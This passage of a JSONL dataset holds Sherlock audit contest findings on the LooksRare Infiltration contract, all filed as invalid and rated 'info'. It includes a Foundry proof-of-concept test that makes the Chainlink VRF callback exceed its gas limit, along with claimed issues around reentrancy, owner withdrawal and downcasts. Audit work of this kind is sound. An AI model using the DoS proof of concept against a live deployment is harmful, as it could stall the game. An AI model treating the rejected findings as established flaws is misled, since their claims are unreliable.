value for it in future. For the POC i used 30.\n\n```solidity\nfunction test_fulfillRandomWords_revert() public {\n _startGameAndDrawOneRound();\n\n _drawXRounds(48);\n \n uint256 counter = 0;\n uint256[] memory wa = new uint256[](30);\n uint256 totalCost = 0;\n\n for (uint256 j=2; j <= 6; j++) \n {\n (uint256[] memory woundedAgentIds, ) = infiltration.getRoundInfo({roundId: j});\n\n uint256[] memory costs = new uint256[](woundedAgentIds.length);\n for (uint256 i; i < woundedAgentIds.length; i++) {\n costs[i] = HEAL_BASE_COST;\n wa[counter] = woundedAgentIds[i];\n counter++;\n if(counter > 29) break;\n }\n\n if(counter > 29) break;\n }\n \n \n totalCost = HEAL_BASE_COST * wa.length;\n looks.mint(user1, totalCost);\n\n vm.startPrank(user1);\n _grantLooksApprovals();\n looks.approve(TRANSFER_MANAGER, totalCost);\n\n\n infiltration.heal(wa);\n vm.stopPrank();\n\n _drawXRounds(1);\n }\n```\n\nI put this test into Infiltration.startNewRound.t.sol and used --gas-report to see that the gas used for fulfillRandomWords exceeds 2 500 000.\n\n## Impact\n\nDOS of the protocol and inability to continue the game.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1096-L1249\nhttps://docs.chain.link/vrf/v2/subscription/supported-networks/#ethereum-mainnet\nhttps://docs.chain.link/vrf/v2/security#fulfillrandomwords-must-not-revert\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nA couple of ideas : \n\n1) You can limit the value of AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS to a small enough number so that it is 100% sure it will not reach the gas limit.\n\n2) Consider simply storing the randomness and taking more complex follow-on actions in separate contract calls as stated in the \"Security Considerations\" section of the VRF's docs.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/136.md"}} +{"title":"Game Creator might not start the actual game.","severity":"info","body":"Formal Gauze Eagle\n\nhigh\n\n# Game Creator might not start the actual game.\n## Summary\n\nThe game creator is not actually required to start the game after the minting period. The execution of the game is in the hands of the contract owner.\n\n## Vulnerability Detail\n\nOnce the minting period is over, the contract owner can execute the ``emergencyWithdraw`` function and obtain all of the funds. One of the 3 conditions for the ``emergencyWithdraw`` function is basically checking the ``currentRoundId`` is = 0 which means the game hasn't started, and also ensuring that the ``block.timestamp`` is 36 hours more than the ``mintEnd`` period which is the last time minting by users can be done.\n\nThis means that the ``emergencyWithdraw`` function can be used to withdraw the funds deposited after minting without actually starting the game. \n\n## Impact\n\nLoss of jackpot and funds.\n\n## Code Snippet\n\nIn the ``emergencyWithdraw`` function we can see that with condition 3, the contract owner can execute the function as long as the minting period has ended. \n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L528\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n- The ``startGame()`` function can be done without the access control, so that any user can start the game after the minting period.\n- Create a refund function for user's so that they can withdraw their own deposited funds instead of an emergency withdraw function.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/135.md"}} +{"title":"Unsafe `minimumRequestConfirmations`","severity":"info","body":"Soft Tortilla Fox\n\nfalse\n\n# Unsafe `minimumRequestConfirmations`\n## Summary\n\n## Vulnerability Detail\nAccording to [Chainlink's doc](https://docs.chain.link/vrf/v2/security#choose-a-safe-block-confirmation-time-which-will-vary-between-blockchains):\n> You must choose an appropriate confirmation time for the randomness requests you make. Confirmation time is how many blocks the VRF service waits before writing a fulfillment to the chain to make potential rewrite attacks unprofitable in the context of your application and its value-at-risk.\n\n`Infiltration.sol` uses 3 as the minimumRequestConfirmations: \n\n uint256 requestId = VRF_COORDINATOR.requestRandomWords({\n keyHash: KEY_HASH,\n subId: SUBSCRIPTION_ID,\n minimumRequestConfirmations: uint16(3),\n callbackGasLimit: uint32(2_500_000),\n numWords: uint32(1)\n });\n\nActually, 3 is the minimum number of confirmations supported by ChainLink, but it is not fully secure for Ethereum network.\nFor example, Binance waits 6 blocks to confirm a deposit and OKX waits 12 blocks to confirm a deposit.\nTo make sure a block is no uncle or a transaction included in a block does not hang up in an ommer, I would suggest waiting 7 confirmations (around 2 minutes). From the [Ethereum whitepaper](https://ethereum.org/en/whitepaper/#modified-ghost-implementation):\n> Ethereum implements a simplified version of GHOST which only goes down seven levels. Specifically, it is defined as follows:\nA block must specify a parent, and it must specify 0 or more uncles\nAn uncle included in block B must have the following properties:\nIt must be a direct child of the kth generation ancestor of B, where 2 <= k <= 7.\nIt cannot be an ancestor of B\nAn uncle must be a valid block header, but does not need to be a previously verified or even valid block\nAn uncle must be different from all uncles included in previous blocks and all other uncles included in the same block (non-double-inclusion)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse 7 blocks instead of 3.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/133.md"}} +{"title":"Possible blocking of the game","severity":"info","body":"Howling Banana Shark\n\nmedium\n\n# Possible blocking of the game\n## Summary\nPossible blocking of the game\n\n## Vulnerability Detail\nWhen the owner decides to start the game, he calls the `startGame()` function and request random word from the VRF Coordinator. If the Chainlink randomness callback does not return after 1 day, the owner can call `startNewRound()` to trigger a new randomness request.\n\n```solidity\n /**\n * @inheritdoc IInfiltration\n * @dev If Chainlink randomness callback does not come back after 1 day, we can call\n * startNewRound to trigger a new randomness request.\n */\n function startGame() external onlyOwner \n```\n\nUnfortunately, this is not possible because to call a new round, the condition `block.number < uint256(gameInfo.currentRoundBlockNumber).unsafeAdd(BLOCKS_PER_ROUND)` should be satisfied.\n\n```solidity\nif (block.number < uint256(gameInfo.currentRoundBlockNumber).unsafeAdd(BLOCKS_PER_ROUND)) {\n revert TooEarlyToStartNewRound();\n }\n```\n\nVariable `gameInfo.currentRoundBlockNumber` is set to 0 by default and is updated only in `fulfillRandomWords()`. In this scenario, it will always be zero because the Chainlink randomness callback is delayed.\n\nSo, if the Chainlink randomness callback is delayed for more than 1 day and the owner tries to request a random word, it will fail.\n\n## Impact\nIn this scenario, the whole game will be blocked and it will not be possible to start. Marked this issue as Medium because it is rare for Chainlink randomness callback to have this delay, but it is not impossible. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L594\n\n## Tool used\nManual Review\n\n## Recommendation\nUpdate `gameInfo.currentRoundBlockNumber` when `startGame()` function is called:\n\n\n```diff\ngameInfo.currentRoundId = 1;\ngameInfo.activeAgents = uint16(numberOfAgents);\n+gameInfo.currentRoundBlockNumber = block.number\nuint256 balance = address(this).balance;\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/132.md"}} +{"title":"Fairness of Randomness is threatened and possibilities for gaming the jackpot.","severity":"info","body":"Formal Gauze Eagle\n\nmedium\n\n# Fairness of Randomness is threatened and possibilities for gaming the jackpot.\n## Summary\n\nRe-requesting randomness from VRF is a security pattern anti-pattern. This issue will show how the current implementation of ``startGame()`` goes directly against Chainlink's security Security Consideration of not re-requesting randomness (https://docs.chain.link/vrf/v2/security#do-not-re-request-randomness). \n\n## Vulnerability Detail\n\nThe ``fulfillRandomWords`` function calls internal functions ``_healRequestFulfilled`` , ``_woundRequestFulfilled``, and ``_killWoundedAgents``, which loops over the ``healingAgentIdsCount``, ``woundedAgentsCount`` and ``woundedAgentIdsCount``. This is a problem as the code might require a lot of gas and make the ``fulfillRandomWords`` revert it's execution, which is problem for the integration of VRF as listed in the [docs](https://docs.chain.link/vrf/v2/security#fulfillrandomwords-must-not-revert), since it should not be reverting. \n\n## Code Snippet\n\nWe can see that from the ``startGame`` function, ``_requestForRandomness`` is can be re ran in the case of a revert. \n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L522\n\n## Impact\n\nRe-requesting randomness is achieved when there is a possible revert on the ``fulfillRandomWords`` function. Fairness of protocol is undermined.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n- Consider caching the randomness received and then letting an EOA to make the actual call the internal functions listed above, it can also set the correct gas amount.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/131.md"}} +{"title":"Bypassing MAX_MINT_PER_ADDRESS requirement","severity":"info","body":"Howling Banana Shark\n\nmedium\n\n# Bypassing MAX_MINT_PER_ADDRESS requirement\n## Summary\nBypassing MAX_MINT_PER_ADDRESS requirement\n\n## Vulnerability Detail\nEvery user has a restriction on minting a maximum of `MAX_MINT_PER_ADDRESS` tokens.\n\n```solidity\nif (amountMinted > MAX_MINT_PER_ADDRESS) {\n revert TooManyMinted();\n}\n```\n\nThis requirement can be easily bypassed by everyone because it is possible to transfer tokens to anyone without checking if the recipient address already has the maximum minted tokens.\n\nThis breaks the core idea behind the restriction of allowing users to mint all possible tokens.\n\n## Impact\nSome users can have more than `MAX_MINT_PER_ADDRESS`, which will increase their chances of winning the final prize or securing better placement for the secondary prize pool.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L929\n\n```solidity\n function transferFrom(address from, address to, uint256 tokenId) public payable override {\n AgentStatus status = agents[agentIndex(tokenId)].status;\n if (status > AgentStatus.Wounded) {\n revert InvalidAgentStatus(tokenId, status);\n }\n super.transferFrom(from, to, tokenId);\n }\n```\n## Tool used\nManual Review\n\n## Recommendation\nCheck if after transferring of the token to `to` address will exceed `MAX_MINT_PER_ADDRESS` requirement.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/128.md"}} +{"title":"Inefficiency and Potential Gas Overhead Due to Forced ETH Transfer Failures","severity":"info","body":"Handsome Saffron Swan\n\nmedium\n\n# Inefficiency and Potential Gas Overhead Due to Forced ETH Transfer Failures\n## Summary\nForced ETH transfer failure could cause unnecessary gas expenditure during protocol fee processing.\n\n## Vulnerability Detail\nThe _transferETHAndWrapIfFailWithGasLimit function aims to ensure successful ETH transfers to a specified recipient. If an ETH transfer fails, it automatically converts the ETH to WETH and transfers that instead. An issue arises when a recipient is a smart contract intentionally designed without a payable fallback or receive function, causing the ETH transfer to fail. The transaction then defaults to converting ETH to WETH and transferring WETH, which requires more gas due to additional steps and contract interactions. This can be exploited, resulting in higher gas costs.\n\n## Impact\n- Increased Gas Costs: Unnecessary expenditure of gas if the initial transfer fails, which could be especially significant for large transfers or if such transfers are frequent.\n\n- Operational Disruption: If actors repeatedly force the fallback mechanism, it could lead to operational inefficiencies and potentially disrupt the intended flow of funds.\n\n- User Experience Degradation: End users may experience increased transaction costs and longer wait times due to the more complex fallback process being triggered.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L521\n\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement safeguards to prevent the initial ETH transfer from failing due to recipient contract behavior. This may include checking if the recipient is a contract and whether it can accept ETH, or setting a reasonable gas limit for the transfer. Additionally, consider a pattern that does not rely solely on the gasleft() function, which could be manipulated by the preceding code in the transaction.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/125.md"}} +{"title":"Divide before multiply (Logical Bug)","severity":"info","body":"Odd Berry Rabbit\n\nmedium\n\n# Divide before multiply (Logical Bug)\n## Summary\ncalculation performs division before multiplication which potentially may cause huge rounding errors\n\n## Vulnerability Detail\nA very common occurrence is getting integer arithmetic wrong. Smart contracts generally express numbers as integers due to the lack of floating-point support. Quite common in financial software anyway, using integers to represent value requires stepping down to small units, in order to allow for sufficient precision. The simple example is expressing values in cents rather than dollars, as it would be impossible to represent $0.5 otherwise. In fact, smart contracts usually step down much further with 18 decimal places being supported by many tokens.\n\nHowever, what many developers seem to fail to appreciate, is that integer arithmetic can generally lead to a lack of precision when done wrongly. In particular, the order of operations is important. A classic case is calculating percentages. For example, in order to calculate 25 percent, we typically divide by 100 and multiply by 25. Let’s say we wish to calculate 25 percent of 80 using only integers. Expressing this as 80 / 100 * 25 will result in 0, because of rounding errors. The simple mistake here is to perform the division before the multiplication.\n\n\n## Impact\ncalculation performs division before multiplication which potentially may cause huge rounding errors(loss of precision).\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol?plain=1#L979-L980\n```solidity\n uint256 totalEscapeValue = prizePool / currentRoundAgentsAlive;\n uint256 rewardForPlayer = (totalEscapeValue * _escapeMultiplier(currentRoundAgentsAlive))\n```\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol?plain=1#L740-L741\n\n## Tool used\n\nManual Review\n\n## Recommendation\nPerforming multiplication before division is generally better to avoid loss of precision because Solidity integer division might truncate.\n```solidity\nuint256 rewardForPlayer = ((prizePool * _escapeMultiplier(currentRoundAgentsAlive)) / currentRoundAgentsAlive) / ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/124.md"}} +{"title":"`fulfillRandomWords` it's open for revert while it must not revert at any condition","severity":"info","body":"Micro Caramel Perch\n\nmedium\n\n# `fulfillRandomWords` it's open for revert while it must not revert at any condition\n## Summary\n\nThe fulfillRandomWords function in Infiltration calls `_healRequestFulfilled` when `healingAgents` is not zero. This `_healRequestFulfilled` internal function open for revert when calling `healProbability`\n\n## Vulnerability Detail\n\nAccording to chainlink [docs](https://docs.chain.link/vrf/v2/security#fulfillrandomwords-must-not-revert)\n\n> If your fulfillRandomWords() implementation reverts, the VRF service will not attempt to call it a second time. Make sure your contract logic does not revert..\n\nThis could potentially introduce a critical issue in the code.\n\nThe `fulfillRandomWords` function is responsible for handling the fulfillment of a random number request. It first retrieves information related to the randomness request and the current game round. It then checks if the request is valid by comparing the round IDs and the existence of the request. If the request is invalid, it emits an `InvalidRandomnessFulfillment` event and returns.\n\nSpecifically, reverts could potentially occur on `healProbability` Function: `fulfillRandomWords` -> `_healRequestFulfilled` -> `healProbability`\n\nThe `healProbability` function is a public view function that calculates a healing probability based on a provided parameter. If the parameter does not meet certain conditions (specifically, if it equals 0 or exceeds a ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD), it reverts with an `InvalidHealingBlocksDelay` error. If this function is called with an invalid parameter, it could lead to a revert and prevent the `fulfillRandomWords` function from being properly executed.\n\n```js\nFile: Infiltration.sol\n1019: function healProbability(uint256 healingBlocksDelay) public view returns (uint256 y) {\n1020: if (healingBlocksDelay == 0 || healingBlocksDelay > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD) {\n1021: revert InvalidHealingBlocksDelay();\n1022: }\n1023:\n1024: y =\n1025: HEAL_PROBABILITY_MINUEND -\n1026: ((healingBlocksDelay * 19) * PROBABILITY_PRECISION) /\n1027: ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE;\n1028: }\n```\n\nIn summary, there is potential of failure that could lead to reverts during the processing of randomness requests. Since the Chainlink VRF service does not retry failed fulfillments, these potential revert scenarios could result in a failure to generate random numbers as expected.\n\n## Impact\n\nVRF service might not attempt to call and return the random words a second time when the revert happening\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1020-L1022\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRemove the revert, just `return` and handled appropriately to avoid disruptions in the randomness generation process","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/123.md"}} +{"title":"Sync between GameInfo and agents list","severity":"info","body":"Tall Topaz Finch\n\nmedium\n\n# Sync between GameInfo and agents list\n## Summary\nThere is a possibility that gameInfo active agents data is out of sync with the agents array length. In the `claimGrandPrize` and `claimSecondaryPrizes` the `_assertGameOver` function is called which checks the number of active agents with `gameInfo.activeAgents`. ActiveAgents is updated when function fulfillRandomWords is called during startGame or startNewRound which can be called once a day.\n\n## Vulnerability Detail\nThe Vulnerability comes in when a game is started and ended but grandPrize becomes unclaimable because out gameInfo is out of sync with agents list due to the fact that every time that an agent is healed successfully the `_healRequestFulfilled` does not update update the gameInfo.activeAgent is not updated but agents list is swapped, so the data of the agent becomes out of sync with the gameInfo.\n\n## Impact\nThis impacts the contract with mixed accounting keeping the game for longer and incorrectly choosing the winner after multiple calls to `_swaps` have been made either by the dead agent from being healed or healed agent\n\n## Code Snippet\n\n```solidity\nfor (uint256 i; i < healingAgentIdsCount; ) {\n uint256 healingAgentId = healingAgentIds[i.unsafeAdd(1)];\n uint256 index = agentIndex(healingAgentId);\n Agent storage agent = agents[index];\n\n healResults[i].agentId = healingAgentId;\n\n // 1. An agent's \"healing at\" round ID is always equal to the current round ID\n // as it immediately settles upon randomness fulfillment.\n //\n // 2. 10_000_000_000 == 100 * PROBABILITY_PRECISION\n if (randomWord % 10_000_000_000 <= healProbability(roundId.unsafeSubtract(agent.woundedAt))) {\n // This line is not needed as HealOutcome.Healed is 0. It is here for clarity.\n // healResults[i].outcome = HealOutcome.Healed;\n uint256 lastHealCount = _healAgent(agent);\n _executeERC20DirectTransfer(\n LOOKS,\n 0x000000000000000000000000000000000000dEaD,\n _costToHeal(lastHealCount) / 4\n );\n } else {\n healResults[i].outcome = HealOutcome.Killed;\n _swap({\n currentAgentIndex: index,\n lastAgentIndex: currentRoundAgentsAlive - deadAgentsCount,\n agentId: healingAgentId,\n newStatus: AgentStatus.Dead\n });\n unchecked {\n ++deadAgentsCount;\n }\n }\n\n randomWord = _nextRandomWord(randomWord);\n\n unchecked {\n ++i;\n }\n }\n\n unchecked {\n healedAgentsCount = healingAgentIdsCount - deadAgentsCount;\n }\n ```\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1335\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd an update for gameInfo.activeAgents if agent is healed or dead for the functions `_woundRequestFulfilled` and `_healRequestFulfilled`","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/122.md"}} +{"title":"Usage of transferFrom() instead of safeTransferFrom()","severity":"info","body":"Clean Tiger Beetle\n\nmedium\n\n# Usage of transferFrom() instead of safeTransferFrom()\n## Summary\nIn the `transferFrom()` function it is used `transferFrom()` (from ERC721) which is not a safe way for transferring the tokens as tthe ERC721 standard might not be supported by the receiver.\n\n## Vulnerability Detail\nSee summary.\n\n## Impact\nUtilizing the `transferFrom()` function to transfer tokens poses a significant risk in scenarios where `msg.sender` is a smart contract that is not compatible with the ERC721 standard.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L929\n\n## Tool used\nManual Review\n\n## Recommendation\nUse `safeTransferFrom()` instead of `transferFrom()` when you want to ensure that the tokens are not accidentally sent to a contract that is not designed to handle them.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/121.md"}} +{"title":"Using `transferFrrom()` instead of `safeTransferFrom()`","severity":"info","body":"Damaged Maroon Dove\n\nmedium\n\n# Using `transferFrrom()` instead of `safeTransferFrom()`\n## Summary\nThe `transferFrom()` function is used instead of `safeTransferFrom()` presumably to save gas. I however argue that this is not recommended since there is no restriction if the receiver is a contract.\n\n## Vulnerability Detail\nThe `transferFrom()` function does not implement a check if the receiver address is a contract and does not check the return value, so there is no way to check if the NFT has been received successfully.\n\n## Impact\nIf the receiver contract does not implement `onERC721Received()`, it means that the contract does not have a way to handle incoming ERC721 tokens safely. This could lead to problems with using the received tokens after that.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L918-L930\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse `safeTransferFrom()` function. It checks if the receiver is a contract and, if it is, tries to execute the `onERC721Received()` function on the receiver. If the receiver contract does not implement `onERC721Received()`, the `safeTransferFrom()` function will fail.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/120.md"}} +{"title":"Time calculation inconsistency in `emergencyWithdraw` function","severity":"info","body":"Old Golden Antelope\n\nmedium\n\n# Time calculation inconsistency in `emergencyWithdraw` function\n## Summary\n\nThe `emergencyWithdraw` function within `Infiltration.sol` may lead to potential time-based discrepancies. Additionally exhibits an ability to perform a 'rug pull' which is not recommended, regardless of owner trust levels.\n\n## Vulnerability Detail\n\nThe `emergencyWithdraw` function utilizes hard-coded block numbers to approximate time periods (e.g., 36 hours). This approach is unreliable as block generation times can vary, and thus the expected time frames may not be met accurately. Additionally, the function permits the owner to withdraw all contract funds without any direct interaction or consent from users, creating a central point of failure and trust.\n\n## Impact\n\n- **Time-Based Inconsistency**: The reliance on block numbers for time calculations may lead to situations where the intended time-based logic does not align with real-world time, especially if the network's block time changes.\n- **Centralization of Control**: By allowing the contract owner to unilaterally withdraw all funds, it poses a significant risk to users' assets, undermining the decentralized nature of the contract and potentially leading to loss of user trust or actual financial loss.\n\n## Code Snippet\n\nHere is the relevant section of the code:\n\n```solidity\n// Infiltration.sol at L554-L561\nbool conditionThree = currentRoundId == 0 && block.timestamp > uint256(mintEnd).unsafeAdd(36 hours);\n// ... rest of the emergencyWithdraw function\n```\n\n[View the code here](https://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L554-L561)\n\n## Tool used\nManual Review\n\n## Recommendation\nTo address the time-based discrepancy:\n\n- Replace hard-coded block numbers with a reliable time-based mechanism for critical time-dependent operations.\n\nAlso recommended to mitigate the risk of a centralized rug pull:\n\n- Implement a multi-sig requirement for emergency withdrawals or require a time-delayed withdrawal with a clear mechanism for user intervention.\n\n- Implement strict conditions under which `emergencyWithdraw` can be called, and ideally include a mechanism that allows users to claim their portion directly to prevent total fund access by a single entity.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/118.md"}} +{"title":"Re-request for randomness is a security anti-pattern.","severity":"info","body":"Damaged Maroon Dove\n\nhigh\n\n# Re-request for randomness is a security anti-pattern.\n## Summary\nWhen the `startGame()` function is called, in the end of the function it makes a request for randomness via the `_requestForRandomness()` function and if the VRF does not respond to 24 hours, a new `_requestForRandomness()` can be send through `startNewRound()` function.\n\n## Vulnerability Detail\nThis goes against the security standards in using VRF, as stated in the [docs](https://docs.chain.link/vrf/v2/security#do-not-re-request-randomness):\n\n`Re-requesting randomness is easily detectable on-chain and should be avoided for use cases that want to be considered as using VRFv2 correctly.`\n\n## Impact\nBasically, the service provider can withhold a VRF fulfillment until a new request that is favorable for them comes.\n\n## Code Snippet\n`startGame()`:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L494-L523\n`startNewRound()`:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L574-L651\n\n## Tool used\nManual Review\n\n## Recommendation\nIncrease the waiting period to until the request has been fulfilled.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/117.md"}} +{"title":"Reentrancy vulnerability in `escapeReward`","severity":"info","body":"Old Golden Antelope\n\nhigh\n\n# Reentrancy vulnerability in `escapeReward`\n## Summary\n\nThe `escapeReward` function in the `Infiltration.sol` contract may be vulnerable to reentrancy attacks as it lacks the `nonReentrant` modifier which is present in the `escape` function. This inconsistency in the use of reentrancy protection mechanisms could potentially be exploited by an attacker.\n\n## Vulnerability Detail\n\nReentrancy is a common vulnerability in smart contracts where a function makes an external call to an untrusted contract, and that call is used to re-enter the original function before its execution is completed. The `escape` function is protected by the `nonReentrant` modifier to prevent such attacks, however, the `escapeReward` function does not include this modifier. If the `escapeReward` function interacts with external contracts or sends Ether to arbitrary addresses, it could be susceptible to reentrancy.\n\n## Impact\n\nIf this vulnerability is exploited, an attacker could drain funds or cause unintended effects by recursively calling the `escapeReward` function. This could lead to a loss of funds or tokens, degradation of trust in the contract's security, and potential destabilization of the contract's economic mechanisms.\n\n## Code Snippet\n\n- [`escapeReward`](https://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L964)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to apply the `nonReentrant` modifier to the `escapeReward` function to prevent potential reentrancy attacks. In addition to this, a thorough audit and testing of the function's interactions with external contracts should be conducted to ensure all potential reentrancy paths are mitigated.\n\nTo further enhance security, consider following the checks-effects-interactions pattern, ensuring that no state changes happen after external calls and that all the effects are handled prior to calling external contracts or addresses.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/116.md"}} +{"title":"Unsafe downcasts will silently overflow","severity":"info","body":"Old Golden Antelope\n\nmedium\n\n# Unsafe downcasts will silently overflow\n## Summary\n\nThere are some unsafe type casting, multiple instances of downcasting from `uint256` to smaller unsigned integer types such as `uint16`, `uint32`, `uint40`, and `uint56` are performed without checks for overflow. This can lead to silent overflows and unintended behavior in the smart contract.\n\n## Vulnerability Detail\n\nType casting in Solidity does not inherently check for overflows. When a larger `uint256` type is cast to a smaller type like `uint16`, `uint32`, `uint40`, or `uint56`, and the original value exceeds the maximum representable value of the smaller type, an overflow occurs. The result is a completely different value that can lead to logical errors, incorrect computations, and could potentially be exploited.\n\n## Impact\n\nIf these overflows are exploited or occur unintentionally, they could lead to critical issues in contract logic, such as accounting errors, incorrect balance calculations, or even enabling denial of service and other malicious attacks. This undermines the contract's integrity and can lead to loss of funds or unexpected contract behavior.\n\n## Code Snippet\n- uint16\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L512\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L621\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L769\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L770\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L875\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L879\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L883\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L884\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L937\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1125\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1297\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1452\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1465\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1569\nhttps://github.com/s